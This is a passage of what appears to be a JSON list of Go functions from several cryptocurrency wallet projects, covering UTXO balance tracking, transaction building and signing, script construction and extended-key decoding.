prevOut.TxOut[txIn.PreviousOutPoint.Index].PkScript\n\t\t\t_, outAddrs, _, err := txscript.ExtractPkScriptAddrs(prevPkScript, params)\n\t\t\tif err != nil {\n\t\t\t\treturn balance, spendableBalance, err\n\t\t\t}\n\n\t\t\tfor _, prevAddress := range outAddrs {\n\t\t\t\tif !IsAddressIn(prevAddress, addresses) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tprevAmount := soterutil.Amount(prevValue)\n\t\t\t\t// Deduct the input amount from the balance\n\t\t\t\tbalance -= prevAmount\n\n\t\t\t\tif IsSpendable(info, prev, params) {\n\t\t\t\t\tspendableBalance -= prevAmount\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Add matching outputs to the balance\n\t\tfor _, txOut := range info.Tx.TxOut {\n\t\t\t// Extract output addresses from the script in the output\n\t\t\t_, outAddresses, _, err := txscript.ExtractPkScriptAddrs(txOut.PkScript, params)\n\t\t\tif err != nil {\n\t\t\t\treturn balance, spendableBalance, err\n\t\t\t}\n\n\t\t\tfor _, address := range outAddresses {\n\t\t\t\tif !IsAddressIn(address, addresses) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tamount := soterutil.Amount(txOut.Value)\n\t\t\t\tbalance += amount\n\n\t\t\t\t// TODO(cedric): Base spendability off of the highest transaction input, not the first\n\t\t\t\tprev := txIndex[info.Tx.TxIn[0].PreviousOutPoint.Hash]\n\t\t\t\tif IsSpendable(info, prev, params) {\n\t\t\t\t\tspendableBalance += amount\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn balance, spendableBalance, nil\n}", "func (b *Bitcoind) GetTxOut(txid string, n uint32, includeMempool bool) (transactionOut UTransactionOut, err error) {\n\tr, err := b.client.call(\"gettxout\", []interface{}{txid, n, includeMempool})\n\tif err = handleError(err, &r); err != nil {\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(r.Result, &transactionOut)\n\treturn\n}", "func (u UTXOSet) FindUnspentTransactionOutputs(pubKeyHash []byte) []TxOutput {\n\tvar UTXOs []TxOutput\n\n\tdb := u.BlockChain.Database\n\n\terr := db.View(func(txn *badger.Txn) error {\n\t\topts := badger.DefaultIteratorOptions\n\n\t\tit := txn.NewIterator(opts)\n\t\tdefer it.Close()\n\n\t\t// iterate through all transactions with UTXOs\n\t\tfor it.Seek(utxoPrefix); it.ValidForPrefix(utxoPrefix); it.Next() {\n\t\t\titem := it.Item()\n\t\t\tv, err := item.Value()\n\t\t\tHandle(err)\n\t\t\touts := DeserializeOutputs(v)\n\t\t\t// go through all outputs of that transaction\n\t\t\tfor _, out := range outs.Outputs {\n\t\t\t\t// check the output was locked with this address (belongs to this receiver and can be unlocked by this address to use as new input)\n\t\t\t\tif out.IsLockedWithKey(pubKeyHash) {\n\t\t\t\t\tUTXOs = append(UTXOs, out)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\tHandle(err)\n\treturn UTXOs\n}", "func (r *RPCKeyRing) SendOutputs(outputs []*wire.TxOut,\n\tfeeRate chainfee.SatPerKWeight, minConfs int32,\n\tlabel string) (*wire.MsgTx, error) {\n\n\ttx, err := r.WalletController.SendOutputs(\n\t\toutputs, feeRate, minConfs, label,\n\t)\n\tif err != nil && err != btcwallet.ErrTxUnsigned {\n\t\treturn nil, err\n\t}\n\tif err == nil {\n\t\t// This shouldn't happen since our wallet controller is watch-\n\t\t// only and can't sign the TX.\n\t\treturn tx, nil\n\t}\n\n\t// We know at this point that we only have inputs from our own wallet.\n\t// So we can just compute the input script using the remote signer.\n\tsignDesc := input.SignDescriptor{\n\t\tHashType: txscript.SigHashAll,\n\t\tSigHashes: txscript.NewTxSigHashes(tx),\n\t}\n\tfor i, txIn := range tx.TxIn {\n\t\t// We can only sign this input if it's ours, so we'll ask the\n\t\t// watch-only wallet if it can map this outpoint into a coin we\n\t\t// own. If not, then we can't continue because our wallet state\n\t\t// is out of sync.\n\t\tinfo, err := r.coinFromOutPoint(txIn.PreviousOutPoint)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error looking up utxo: %v\", err)\n\t\t}\n\n\t\t// Now that we know the input is ours, we'll populate the\n\t\t// signDesc with the per input unique information.\n\t\tsignDesc.Output = &wire.TxOut{\n\t\t\tValue: info.Value,\n\t\t\tPkScript: info.PkScript,\n\t\t}\n\t\tsignDesc.InputIndex = i\n\n\t\t// Finally, we'll sign the input as is, and populate the input\n\t\t// with the witness and sigScript (if needed).\n\t\tinputScript, err := r.ComputeInputScript(tx, &signDesc)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\ttxIn.SignatureScript = inputScript.SigScript\n\t\ttxIn.Witness = inputScript.Witness\n\t}\n\n\treturn tx, r.WalletController.PublishTransaction(tx, label)\n}", "func (a *ChainAdaptor) CreateUtxoTransaction(req *proto.CreateUtxoTransactionRequest) (*proto.CreateUtxoTransactionReply, error) {\n\tvinNum := len(req.Vins)\n\tvar totalAmountIn, totalAmountOut int64\n\n\tif vinNum == 0 {\n\t\terr := fmt.Errorf(\"no Vin in req:%v\", req)\n\t\treturn &proto.CreateUtxoTransactionReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: err.Error(),\n\t\t}, err\n\t}\n\n\t// check the Fee\n\tfee, ok := big.NewInt(0).SetString(req.Fee, 0)\n\tif !ok {\n\t\terr := errors.New(\"CreateTransaction, fail to get fee\")\n\t\treturn &proto.CreateUtxoTransactionReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: err.Error(),\n\t\t}, err\n\t}\n\tfor _, in := range req.Vins {\n\t\ttotalAmountIn += in.Amount\n\t}\n\n\tfor _, out := range req.Vouts {\n\t\ttotalAmountOut += out.Amount\n\t}\n\n\tif totalAmountIn != totalAmountOut+fee.Int64() {\n\t\terr := errors.New(\"CreateTransaction, total amount in != total amount out + fee\")\n\t\treturn &proto.CreateUtxoTransactionReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: err.Error(),\n\t\t}, err\n\t}\n\n\trawTx, err := a.createRawTx(req.Vins, req.Vouts)\n\tif err != nil {\n\t\treturn &proto.CreateUtxoTransactionReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: err.Error(),\n\t\t}, err\n\t}\n\n\tbuf := bytes.NewBuffer(make([]byte, 0, rawTx.SerializeSize()))\n\terr = rawTx.Serialize(buf)\n\tif err != nil {\n\t\treturn &proto.CreateUtxoTransactionReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: err.Error(),\n\t\t}, err\n\t}\n\n\t// build the pkScript and Generate signhash for each Vin,\n\tsignHashes, err := a.calcSignHashes(req.Vins, req.Vouts)\n\tif err != nil {\n\t\treturn &proto.CreateUtxoTransactionReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: err.Error(),\n\t\t}, err\n\t}\n\tlog.Info(\"CreateTransaction\", \"usigned tx\", hex.EncodeToString(buf.Bytes()))\n\n\treturn &proto.CreateUtxoTransactionReply{\n\t\tCode: proto.ReturnCode_SUCCESS,\n\t\tTxData: buf.Bytes(),\n\t\tSignHashes: signHashes,\n\t}, nil\n}", "func (s *PublicTransactionPoolAPI) GetProofKey(ctx context.Context, args wtypes.ProofKeyArgs) (*wtypes.ProofKeyRet, error) {\n\tif len(args.Addr) != wtypes.UTXO_ADDR_STR_LEN && len(args.Addr) != common.AddressLength*2 && len(args.Addr) != common.AddressLength*2+2 {\n\t\treturn nil, wtypes.ErrArgsInvalid\n\t}\n\ttx, err := s.wallet.GetUTXOTx(args.Hash, args.EthAddr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif (tx.UTXOKind() & types.Ain) != types.IllKind {\n\t\treturn nil, wtypes.ErrNoNeedToProof\n\t}\n\tif len(args.Addr) == wtypes.UTXO_ADDR_STR_LEN {\n\t\taddr, err := wallet.StrToAddress(args.Addr)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\ttxKey, err := s.wallet.GetTxKey(&args.Hash, args.EthAddr)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tderivationKey, err := xcrypto.GenerateKeyDerivation(addr.ViewPublicKey, lkctypes.SecretKey(*txKey))\n\t\tif err != nil {\n\t\t\treturn nil, wtypes.ErrInnerServer\n\t\t}\n\t\toutIdx := 0\n\t\tfor _, output := range tx.Outputs {\n\t\t\tif utxoOutput, ok := output.(*types.UTXOOutput); ok {\n\t\t\t\totAddr, err := xcrypto.DerivePublicKey(derivationKey, outIdx, addr.SpendPublicKey)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, wtypes.ErrInnerServer\n\t\t\t\t}\n\t\t\t\tif bytes.Equal(otAddr[:], utxoOutput.OTAddr[:]) {\n\t\t\t\t\treturn &wtypes.ProofKeyRet{\n\t\t\t\t\t\tProofKey: fmt.Sprintf(\"%x\", derivationKey[:]),\n\t\t\t\t\t}, nil\n\t\t\t\t}\n\t\t\t\toutIdx++\n\t\t\t}\n\t\t}\n\t\treturn nil, wtypes.ErrNoTransInTx\n\t}\n\n\tif !common.IsHexAddress(args.Addr) {\n\t\treturn nil, wtypes.ErrArgsInvalid\n\t}\n\taddr := common.HexToAddress(args.Addr)\n\ttxKey, err := s.wallet.GetTxKey(&args.Hash, args.EthAddr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfor i, output := range tx.Outputs {\n\t\tif accOutput, ok := output.(*types.AccountOutput); ok {\n\t\t\tif bytes.Equal(addr[:], accOutput.To[:]) {\n\t\t\t\tproofKey, err := xcrypto.DerivationToScalar(lkctypes.KeyDerivation(*txKey), i)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, wtypes.ErrInnerServer\n\t\t\t\t}\n\t\t\t\treturn &wtypes.ProofKeyRet{\n\t\t\t\t\tProofKey: fmt.Sprintf(\"%x\", proofKey[:]),\n\t\t\t\t}, nil\n\t\t\t}\n\t\t}\n\t}\n\treturn nil, wtypes.ErrNoTransInTx\n}", "func CalcTxUtxoAmount(log map[string]interface{}, key string) float64 {\n\n\tif log[key] == nil {\n\t\treturn 0\n\t}\n\n\tutxoArr := log[key].([]interface{})\n\tvar totalAmount float64\n\n\tfor i := range utxoArr {\n\n\t\ttemp, _ := strconv.ParseFloat(utxoArr[i].(map[string]interface{})[\"amount\"].(string), 64)\n\t\ttotalAmount += temp\n\t}\n\n\treturn totalAmount / float64(types.DefaultCoinPrecision)\n}", "func ExampleSignTxOutput() {\n\t// Ordinarily the private key would come from whatever storage mechanism\n\t// is being used, but for this example just hard code it.\n\tprivKeyBytes, err := hex.DecodeString(\"22a47fa09a223f2aa079edf85a7c2\" +\n\t\t\"d4f8720ee63e502ee2869afab7de234b80c\")\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\tprivKey, pubKey := btcec.PrivKeyFromBytes(privKeyBytes)\n\tpubKeyHash := btcutil.Hash160(pubKey.SerializeCompressed())\n\taddr, err := btcutil.NewAddressPubKeyHash(pubKeyHash,\n\t\t&chaincfg.MainNetParams)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\n\t// For this example, create a fake transaction that represents what\n\t// would ordinarily be the real transaction that is being spent. It\n\t// contains a single output that pays to address in the amount of 1 BTC.\n\toriginTx := wire.NewMsgTx(wire.TxVersion)\n\tprevOut := wire.NewOutPoint(&chainhash.Hash{}, ^uint32(0))\n\ttxIn := wire.NewTxIn(prevOut, []byte{txscript.OP_0, txscript.OP_0}, nil)\n\toriginTx.AddTxIn(txIn)\n\tpkScript, err := txscript.PayToAddrScript(addr)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\ttxOut := wire.NewTxOut(100000000, pkScript)\n\toriginTx.AddTxOut(txOut)\n\toriginTxHash := originTx.TxHash()\n\n\t// Create the transaction to redeem the fake transaction.\n\tredeemTx := wire.NewMsgTx(wire.TxVersion)\n\n\t// Add the input(s) the redeeming transaction will spend. There is no\n\t// signature script at this point since it hasn't been created or signed\n\t// yet, hence nil is provided for it.\n\tprevOut = wire.NewOutPoint(&originTxHash, 0)\n\ttxIn = wire.NewTxIn(prevOut, nil, nil)\n\tredeemTx.AddTxIn(txIn)\n\n\t// Ordinarily this would contain that actual destination of the funds,\n\t// but for this example don't bother.\n\ttxOut = wire.NewTxOut(0, nil)\n\tredeemTx.AddTxOut(txOut)\n\n\t// Sign the redeeming transaction.\n\tlookupKey := func(a btcutil.Address) (*btcec.PrivateKey, bool, error) {\n\t\t// Ordinarily this function would involve looking up the private\n\t\t// key for the provided address, but since the only thing being\n\t\t// signed in this example uses the address associated with the\n\t\t// private key from above, simply return it with the compressed\n\t\t// flag set since the address is using the associated compressed\n\t\t// public key.\n\t\t//\n\t\t// NOTE: If you want to prove the code is actually signing the\n\t\t// transaction properly, uncomment the following line which\n\t\t// intentionally returns an invalid key to sign with, which in\n\t\t// turn will result in a failure during the script execution\n\t\t// when verifying the signature.\n\t\t//\n\t\t// privKey.D.SetInt64(12345)\n\t\t//\n\t\treturn privKey, true, nil\n\t}\n\t// Notice that the script database parameter is nil here since it isn't\n\t// used. It must be specified when pay-to-script-hash transactions are\n\t// being signed.\n\tsigScript, err := txscript.SignTxOutput(&chaincfg.MainNetParams,\n\t\tredeemTx, 0, originTx.TxOut[0].PkScript, txscript.SigHashAll,\n\t\ttxscript.KeyClosure(lookupKey), nil, nil)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\tredeemTx.TxIn[0].SignatureScript = sigScript\n\n\t// Prove that the transaction has been validly signed by executing the\n\t// script pair.\n\tflags := txscript.ScriptBip16 | txscript.ScriptVerifyDERSignatures |\n\t\ttxscript.ScriptStrictMultiSig |\n\t\ttxscript.ScriptDiscourageUpgradableNops\n\tvm, err := txscript.NewEngine(originTx.TxOut[0].PkScript, redeemTx, 0,\n\t\tflags, nil, nil, -1, nil)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\tif err := vm.Execute(); err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\tfmt.Println(\"Transaction successfully signed\")\n\n\t// Output:\n\t// Transaction successfully signed\n}", "func MakeContractUtxoScriptPubkey(from, to *types.AddressHash, nonce uint64, version int32) *Script {\n\t// OP_CONTRACT from contract_addr nonce gasPrice gasLimit version code checksum\n\ts := NewScriptWithCap(66)\n\ts.AddOperand(from[:]).\n\t\tAddOperand(to[:]).\n\t\tAddOperand(big.NewInt(int64(nonce)).Bytes()).\n\t\tAddOperand(big.NewInt(0).Bytes()).\n\t\tAddOperand(big.NewInt(0).Bytes()).\n\t\tAddOperand(big.NewInt(int64(version)).Bytes())\n\t// add checksum\n\tscriptHash := crypto.Hash160(*s)\n\tchecksum := scriptHash[:4]\n\n\treturn NewScript().AddOpCode(OPCONTRACT).AddScript(s).AddOperand(checksum)\n}", "func (address *AccountAddress) SignatureScript(\n\tsignature types.Signature,\n) ([]byte, wire.TxWitness) {\n\tpublicKey := address.Configuration.PublicKey()\n\tswitch address.Configuration.ScriptType() {\n\tcase signing.ScriptTypeP2PKH:\n\t\tsignatureScript, err := txscript.NewScriptBuilder().\n\t\t\tAddData(append(signature.SerializeDER(), byte(txscript.SigHashAll))).\n\t\t\tAddData(publicKey.SerializeCompressed()).\n\t\t\tScript()\n\t\tif err != nil {\n\t\t\taddress.log.WithError(err).Panic(\"Failed to build signature script for P2PKH.\")\n\t\t}\n\t\treturn signatureScript, nil\n\tcase signing.ScriptTypeP2WPKHP2SH:\n\t\tsignatureScript, err := txscript.NewScriptBuilder().\n\t\t\tAddData(address.redeemScript).\n\t\t\tScript()\n\t\tif err != nil {\n\t\t\taddress.log.WithError(err).Panic(\"Failed to build segwit signature script.\")\n\t\t}\n\t\ttxWitness := wire.TxWitness{\n\t\t\tappend(signature.SerializeDER(), byte(txscript.SigHashAll)),\n\t\t\tpublicKey.SerializeCompressed(),\n\t\t}\n\t\treturn signatureScript, txWitness\n\tcase signing.ScriptTypeP2WPKH:\n\t\ttxWitness := wire.TxWitness{\n\t\t\tappend(signature.SerializeDER(), byte(txscript.SigHashAll)),\n\t\t\tpublicKey.SerializeCompressed(),\n\t\t}\n\t\treturn []byte{}, txWitness\n\tcase signing.ScriptTypeP2TR:\n\t\t// We assume SIGHASH_DEFAULT, which defaults to SIGHASH_ALL without needing to explicitly\n\t\t// append it to the signature. See:\n\t\t// https://github.com/bitcoin/bips/blob/97e02b2223b21753acefa813a4e59dbb6e849e77/bip-0341.mediawiki#taproot-key-path-spending-signature-validation\n\t\ttxWitness := wire.TxWitness{\n\t\t\tsignature.SerializeCompact(),\n\t\t}\n\t\treturn []byte{}, txWitness\n\tdefault:\n\t\taddress.log.Panic(\"Unrecognized address type.\")\n\t}\n\tpanic(\"The end of the function cannot be reached.\")\n}", "func SignRawTransaction(cmd *SignRawTransactionCmd, chainCfg *chaincfg.Params) (*btcjson.SignRawTransactionResult, error) {\n\tserializedTx, err := DecodeHexStr(cmd.RawTx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar tx wire.MsgTx\n\terr = tx.Deserialize(bytes.NewBuffer(serializedTx))\n\tif err != nil {\n\t\te := errors.New(\"TX decode failed\")\n\t\treturn nil, e\n\t}\n\n\tvar hashType txscript.SigHashType\n\tswitch *cmd.Flags {\n\tcase \"ALL\":\n\t\thashType = txscript.SigHashAll\n\tcase \"NONE\":\n\t\thashType = txscript.SigHashNone\n\tcase \"SINGLE\":\n\t\thashType = txscript.SigHashSingle\n\tcase \"ALL|ANYONECANPAY\":\n\t\thashType = txscript.SigHashAll | txscript.SigHashAnyOneCanPay\n\tcase \"NONE|ANYONECANPAY\":\n\t\thashType = txscript.SigHashNone | txscript.SigHashAnyOneCanPay\n\tcase \"SINGLE|ANYONECANPAY\":\n\t\thashType = txscript.SigHashSingle | txscript.SigHashAnyOneCanPay\n\tdefault:\n\t\te := errors.New(\"Invalid sighash parameter\")\n\t\treturn nil, e\n\t}\n\n\t// TODO: really we probably should look these up with btcd anyway to\n\t// make sure that they match the blockchain if present.\n\tinputs := make(map[wire.OutPoint][]byte)\n\tscripts := make(map[string][]byte)\n\tvar cmdInputs []RawTxInput\n\tif cmd.Inputs != nil {\n\t\tcmdInputs = *cmd.Inputs\n\t}\n\tfor _, rti := range cmdInputs {\n\t\tinputHash, err := chainhash.NewHashFromStr(rti.Txid)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tscript, err := DecodeHexStr(rti.ScriptPubKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// redeemScript is only actually used iff the user provided\n\t\t// private keys. In which case, it is used to get the scripts\n\t\t// for signing. If the user did not provide keys then we always\n\t\t// get scripts from the wallet.\n\t\t// Empty strings are ok for this one and hex.DecodeString will\n\t\t// DTRT.\n\t\tif cmd.PrivKeys != nil && len(*cmd.PrivKeys) != 0 {\n\t\t\tredeemScript, err := DecodeHexStr(rti.RedeemScript)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\taddr, err := btcutil.NewAddressScriptHash(redeemScript, chainCfg)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tscripts[addr.String()] = redeemScript\n\t\t}\n\t\tinputs[wire.OutPoint{\n\t\t\tHash: *inputHash,\n\t\t\tIndex: rti.Vout,\n\t\t}] = script\n\t}\n\n\t// Parse list of private keys, if present. If there are any keys here\n\t// they are the keys that we may use for signing. If empty we will\n\t// use any keys known to us already.\n\tvar keys map[string]*btcutil.WIF\n\tif cmd.PrivKeys != nil {\n\t\tkeys = make(map[string]*btcutil.WIF)\n\n\t\tfor _, key := range *cmd.PrivKeys {\n\t\t\twif, err := btcutil.DecodeWIF(key)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tif !wif.IsForNet(chainCfg) {\n\t\t\t\ts := \"key network doesn't match wallet's\"\n\t\t\t\treturn nil, errors.New(s)\n\t\t\t}\n\n\t\t\taddr, err := btcutil.NewAddressPubKey(wif.SerializePubKey(), chainCfg)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tkeys[addr.EncodeAddress()] = wif\n\n\t\t\tbechAddr, err := btcutil.NewAddressWitnessPubKeyHash(btcutil.Hash160(wif.PrivKey.PubKey().SerializeCompressed()), chainCfg)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, errors.Wrap(err, \"new bech addr err\")\n\t\t\t}\n\t\t\tkeys[bechAddr.EncodeAddress()] = wif\n\n\t\t\tfor _, rti := range cmdInputs {\n\t\t\t\tredeemScript, err := DecodeHexStr(rti.RedeemScript)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\n\t\t\t\taddr, err := btcutil.NewAddressScriptHash(redeemScript, chainCfg)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\tkeys[addr.EncodeAddress()] = wif\n\t\t\t}\n\t\t}\n\n\t}\n\n\tgetScriptPubKey := func(txID string) (scriptPubKey []byte, err error) {\n\t\tfor i := range *cmd.Inputs {\n\t\t\tif (*cmd.Inputs)[i].Txid == txID {\n\t\t\t\treturn hex.DecodeString((*cmd.Inputs)[i].ScriptPubKey)\n\t\t\t}\n\t\t}\n\t\terr = errors.Errorf(\"not fund scriptPubKey: %s\", txID)\n\t\treturn\n\t}\n\tfor i := range tx.TxIn {\n\t\tvar scriptPubKey []byte\n\t\tscriptPubKey, err = getScriptPubKey(tx.TxIn[i].PreviousOutPoint.Hash.String())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tinputs[tx.TxIn[i].PreviousOutPoint] = scriptPubKey\n\t}\n\n\tfnFindTxInAmount := func(op wire.OutPoint) int64 {\n\t\tfor _, in := range *cmd.Inputs {\n\t\t\tif in.Txid == op.Hash.String() && in.Vout == op.Index {\n\t\t\t\treturn decimal.NewFromFloat(in.Amount).Shift(8).IntPart()\n\t\t\t}\n\t\t}\n\t\treturn -1\n\t}\n\n\t// All args collected. Now we can sign all the inputs that we can.\n\t// `complete' denotes that we successfully signed all outputs and that\n\t// all scripts will run to completion. This is returned as part of the\n\t// reply.\n\tsignErrs, err := signTransaction(&tx, hashType, inputs, keys, scripts, chainCfg, fnFindTxInAmount)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(signErrs) > 0 {\n\t\terrMsgs := []string{}\n\t\tfor _, e := range signErrs {\n\t\t\tif !strings.Contains(e.Error.Error(), \"not all signatures empty on failed checkmultisig\") { //忽略多重签名未完成的错误\n\t\t\t\terrMsgs = append(errMsgs, e.Error.Error())\n\t\t\t}\n\t\t}\n\t\tif len(errMsgs) > 0 {\n\t\t\treturn nil, errors.New(strings.Join(errMsgs, \",\"))\n\t\t}\n\t}\n\n\tvar buf bytes.Buffer\n\tbuf.Grow(tx.SerializeSize())\n\n\t// All returned errors (not OOM, which panics) encounted during\n\t// bytes.Buffer writes are unexpected.\n\tif err = tx.Serialize(&buf); err != nil {\n\t\treturn nil, err\n\t}\n\n\tsignErrors := make([]btcjson.SignRawTransactionError, 0, len(signErrs))\n\tfor _, e := range signErrs {\n\t\tinput := tx.TxIn[e.InputIndex]\n\t\tsignErrors = append(signErrors, btcjson.SignRawTransactionError{\n\t\t\tTxID: input.PreviousOutPoint.Hash.String(),\n\t\t\tVout: input.PreviousOutPoint.Index,\n\t\t\tScriptSig: hex.EncodeToString(input.SignatureScript),\n\t\t\tSequence: input.Sequence,\n\t\t\tError: e.Error.Error(),\n\t\t})\n\t}\n\n\treturn &btcjson.SignRawTransactionResult{\n\t\tHex: hex.EncodeToString(buf.Bytes()),\n\t\tComplete: len(signErrors) == 0,\n\t\tErrors: signErrors,\n\t}, nil\n}", "func (dcr *ExchangeWallet) FundingCoins(ids []dex.Bytes) (asset.Coins, error) {\n\t// First check if we have the coins in cache.\n\tcoins := make(asset.Coins, 0, len(ids))\n\tnotFound := make(map[outPoint]bool)\n\tdcr.fundingMtx.Lock()\n\tdefer dcr.fundingMtx.Unlock() // stay locked until we update the map and lock them in the wallet\n\tfor _, id := range ids {\n\t\ttxHash, vout, err := decodeCoinID(id)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tpt := newOutPoint(txHash, vout)\n\t\tfundingCoin, found := dcr.fundingCoins[pt]\n\t\tif found {\n\t\t\tcoins = append(coins, fundingCoin.op)\n\t\t\tcontinue\n\t\t}\n\t\tnotFound[pt] = true\n\t}\n\tif len(notFound) == 0 {\n\t\treturn coins, nil\n\t}\n\n\t// Check locked outputs for not found coins.\n\tlockedOutputs, err := dcr.lockedOutputs()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfor _, output := range lockedOutputs {\n\t\ttxHash, err := chainhash.NewHashFromStr(output.Txid)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error decoding txid from rpc server %s: %w\", output.Txid, err)\n\t\t}\n\t\tpt := newOutPoint(txHash, output.Vout)\n\t\tif !notFound[pt] {\n\t\t\tcontinue\n\t\t}\n\t\ttxOut, err := dcr.node.GetTxOut(dcr.ctx, txHash, output.Vout, true)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"gettxout error for locked output %v: %w\", pt.String(), translateRPCCancelErr(err))\n\t\t}\n\t\tvar address string\n\t\tif len(txOut.ScriptPubKey.Addresses) > 0 {\n\t\t\taddress = txOut.ScriptPubKey.Addresses[0]\n\t\t}\n\t\tcoin := newOutput(txHash, output.Vout, toAtoms(output.Amount), output.Tree)\n\t\tcoins = append(coins, coin)\n\t\tdcr.fundingCoins[pt] = &fundingCoin{\n\t\t\top: coin,\n\t\t\taddr: address,\n\t\t}\n\t\tdelete(notFound, pt)\n\t\tif len(notFound) == 0 {\n\t\t\treturn coins, nil\n\t\t}\n\t}\n\n\t// Some funding coins still not found after checking locked outputs.\n\t// Check wallet unspent outputs as last resort. Lock the coins if found.\n\tunspents, err := dcr.unspents()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcoinsToLock := make([]*wire.OutPoint, 0, len(notFound))\n\tfor _, txout := range unspents {\n\t\ttxHash, err := chainhash.NewHashFromStr(txout.TxID)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error decoding txid from rpc server %s: %w\", txout.TxID, err)\n\t\t}\n\t\tpt := newOutPoint(txHash, txout.Vout)\n\t\tif !notFound[pt] {\n\t\t\tcontinue\n\t\t}\n\t\tcoinsToLock = append(coinsToLock, wire.NewOutPoint(txHash, txout.Vout, txout.Tree))\n\t\tcoin := newOutput(txHash, txout.Vout, toAtoms(txout.Amount), txout.Tree)\n\t\tcoins = append(coins, coin)\n\t\tdcr.fundingCoins[pt] = &fundingCoin{\n\t\t\top: coin,\n\t\t\taddr: txout.Address,\n\t\t}\n\t\tdelete(notFound, pt)\n\t\tif len(notFound) == 0 {\n\t\t\tbreak\n\t\t}\n\t}\n\tif len(notFound) != 0 {\n\t\tids := make([]string, 0, len(notFound))\n\t\tfor pt := range notFound {\n\t\t\tids = append(ids, pt.String())\n\t\t}\n\t\treturn nil, fmt.Errorf(\"funding coins not found: %s\", strings.Join(ids, \", \"))\n\t}\n\tdcr.log.Debugf(\"Locking funding coins that were unlocked %v\", coinsToLock)\n\terr = dcr.node.LockUnspent(dcr.ctx, false, coinsToLock)\n\tif err != nil {\n\t\treturn nil, translateRPCCancelErr(err)\n\t}\n\n\treturn coins, nil\n}", "func (m *MsgUnlockCoinData) Type() types.Name { return types.MustName(\"unlock\") }", "func NewBaseCoinFromAccountPubKey(key string) (*BaseCoin, error) {\n\t// prefix := key[:4]\n\tvar bc *BaseCoin\n\n\tdec, _, err := base58.CheckDecode(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdecoded := []byte{0x04}\n\tdecoded = append(decoded, dec...)\n\n\tacctBytes := decoded[9:13] // bytes 9 through 12 are the 4 bytes of the account \"child number\", but first byte 0x04 is dropped in CheckDecode\n\tacctIndex := binary.BigEndian.Uint32(acctBytes) & 0x0FFFFFFF // if hardened, remove hardened offset\n\tacct := int(acctIndex)\n\n\tprefix := decoded[:4]\n\tif bytes.Equal(prefix, pubkeyIDs[xpub]) {\n\t\tbc = &BaseCoin{Purpose: bip44purpose, Coin: mainnet, Account: acct}\n\t} else if bytes.Equal(prefix, pubkeyIDs[ypub]) {\n\t\tbc = &BaseCoin{Purpose: bip49purpose, Coin: mainnet, Account: acct}\n\t} else if bytes.Equal(prefix, pubkeyIDs[zpub]) {\n\t\tbc = &BaseCoin{Purpose: bip84purpose, Coin: mainnet, Account: acct}\n\t} else if bytes.Equal(prefix, pubkeyIDs[tpub]) {\n\t\tbc = &BaseCoin{Purpose: bip44purpose, Coin: testnet, Account: acct}\n\t} else if bytes.Equal(prefix, pubkeyIDs[upub]) {\n\t\tbc = &BaseCoin{Purpose: bip49purpose, Coin: testnet, Account: acct}\n\t} else if bytes.Equal(prefix, pubkeyIDs[vpub]) {\n\t\tbc = &BaseCoin{Purpose: bip84purpose, Coin: testnet, Account: acct}\n\t}\n\n\tif bc != nil {\n\t\treturn bc, nil\n\t}\n\n\treturn nil, errors.New(\"unrecognized account key prefix\")\n}", "func coinbaseGet(L *lua.LState) int {\n\tp := checkCoinBase(L, 1)\n\tfmt.Println(p)\n\n\treturn 0\n}" ]
